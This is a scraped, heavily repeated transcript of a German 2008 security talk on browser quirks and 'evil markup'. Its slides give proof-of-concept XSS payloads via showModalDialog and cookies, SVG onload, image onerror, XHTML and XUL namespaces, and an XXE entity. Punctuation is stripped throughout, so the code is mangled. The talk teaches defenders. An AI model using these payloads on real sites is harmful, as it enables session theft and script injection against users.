47
1 I thought you were my friend! Böses Markup, Browserlücken und andere Wunderlichkeiten Vortrag von Mario Heiderich 12 / 2008

I thought you were my friend!

Embed Size (px)

DESCRIPTION

Böses Markup, Browserlücken und andere Wunderlichkeiten

Citation preview

Page 1: I thought you were my friend!

1

I thought you were my friendBoumlses Markup Browserluumlcken und andere Wunderlichkeiten

Vortrag von Mario Heiderich12 2008

2

My online cock

CSO fuumlr ormigocom (noch ein paar Tage zumindest)

Web Retard

FUD Peddler par excellence

Speaker auf ph-neutral OWASP Europe etc

Freelance Security Researcher und Consultant

httpphp-idsorg CSRFx qUIpt

httpmarioheiderich

3

Speisekarte

Schein Selbstwahrnehmung der Browser Vendors Reputationen Meinungen und anderer Bull

Innehalten Sein

Vergessene Schaumltze PoCs Exploits und Angiffsszenarien

4

WTF

Will man wissen was passiertwenn man

der sicherste Browser googelt

5

Selbstdarstellung

6

Selbstdarstellung

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 2: I thought you were my friend!

2

My online cock

CSO fuumlr ormigocom (noch ein paar Tage zumindest)

Web Retard

FUD Peddler par excellence

Speaker auf ph-neutral OWASP Europe etc

Freelance Security Researcher und Consultant

httpphp-idsorg CSRFx qUIpt

httpmarioheiderich

3

Speisekarte

Schein Selbstwahrnehmung der Browser Vendors Reputationen Meinungen und anderer Bull

Innehalten Sein

Vergessene Schaumltze PoCs Exploits und Angiffsszenarien

4

WTF

Will man wissen was passiertwenn man

der sicherste Browser googelt

5

Selbstdarstellung

6

Selbstdarstellung

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 3: I thought you were my friend!

3

Speisekarte

Schein Selbstwahrnehmung der Browser Vendors Reputationen Meinungen und anderer Bull

Innehalten Sein

Vergessene Schaumltze PoCs Exploits und Angiffsszenarien

4

WTF

Will man wissen was passiertwenn man

der sicherste Browser googelt

5

Selbstdarstellung

6

Selbstdarstellung

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 4: I thought you were my friend!

4

WTF

Will man wissen was passiertwenn man

der sicherste Browser googelt

5

Selbstdarstellung

6

Selbstdarstellung

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 5: I thought you were my friend!

5

Selbstdarstellung

6

Selbstdarstellung

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 6: I thought you were my friend!

6

Selbstdarstellung

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 7: I thought you were my friend!

7

Selbstdarstellung

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 8: I thought you were my friend!

8

Nutzerverhalten

Der normale User

Klickt auf das blaue E um ins Internet rein zu kommen Innen rein

Klickt Warnmeldungen weg Alle

Web-Entwickler

Kommen (noch) nicht um Firefox herum und klicken auch alles weg

Installieren ebenfalls alles ndash vor allem Extensions

Mac User

Nutzen Safari ndash weil von Apple Surfen ausslieszliglich im Apple Store

Security-Folks

Nutzen Torpark mit NoScript FlashBlock

AdBlock Plus RequestRodeo etc

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 9: I thought you were my friend!

9

Hackerfox

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

lthtml xmlnsoslash=httpwwww3org1999xhtmlgt ltoslashscript src=0xlv gtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtml xmlns=httpwwww3org1999xhtmlgtltscript src=0xlv gtlthtmlgt

20

Inline Namespaces

ltimgimg xmlnsimg=httpwwww3org1999xhtml src= onerror=alert(this) gt

PoC

21

XUL

lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

PoC

>httpx00mariofreehostiacomcode=header(Content-type applicationxml)echo lthtmlgtltxulimage onerror=alert(2) src=x xmlnsxul=httpwwwmozillaorgkeymastergatekeeperthereisonlyxulgtlthtmlgt

22

XXE 12 (XML eXternal Entities)

ltDOCTYPE xss[ltENTITY x ltscriptgtalert(this)ltscriptgtgt]gtlthtml xmlns=httpwwww3org1999xhtmlgtltheadgtampxltheadgtlthtmlgt

PoC

Page 10: I thought you were my friend!

10

Timeline

Firefox 296 Advisories Internet Explorer 337 Advisories Opera 349 Advisories Safari 69 Advisories (who gives a damn)

11

Und bald

Wird das Internet noch viel bunter HTML5 CSS3 Silverlight Flash 11 DOM Level 3 Client Side Storage SVG Canvas MathML SMIL (die Wiedergeburt)

XForms XPath Xquery XRegurgitate

12

Dabei

uumlberschauen wir ja nicht mal mehr die Features die es schon laumlngst gibt

13

Widerspruch

Hand heben ndash wer kennt XBL Data Islands XXE rdquoElemente im globalen Geltungsbereichrdquo XHTML Namespaces

14

Oder

Die grausamen Fallstricke

ganz normalen HTMLs

15

Kommen wir aber zum Punkt

Es folgen eine Reihe an konkreten Beispielen

Komisches Nerviges und wirklich Gefaumlhrliches

Nichts zum Thema Clickjacking

16

Rahahaa

17

showModalDialog()

lthtmlgtltheadgtltscriptgtonfocus = function() name = javascriptwith(this)with(document)write(cookie) showModalDialog( name null unadornednodialogWidth1000dialogHeight1000

scroll0status0resizable0edgesunken ) onfocus = nullltscriptgtltheadgtltbodygtltbodygtlthtmlgt PoC

click to go away

>httpx00mariofreehostiacomcode=echo lth1 onclick=showModalDialog(documentcookie)gtclick to go awaylth1gt

18

Inline SVG

ltxml version=10 encoding=UTF-8gtlthtml xmlns=httpwwww3org1999xhtml xmlnssvg=httpwwww3org2000svggtltsvgg onload=alert(8)gtlthtmlgt

ltimage src=x onerror=alert(1)gtltimagegt

PoC

>httpx00mariofreehostiacomcode=echo ltimage src=x onerror=alert(1)gtltimagegt

19

XHTML Namespaces

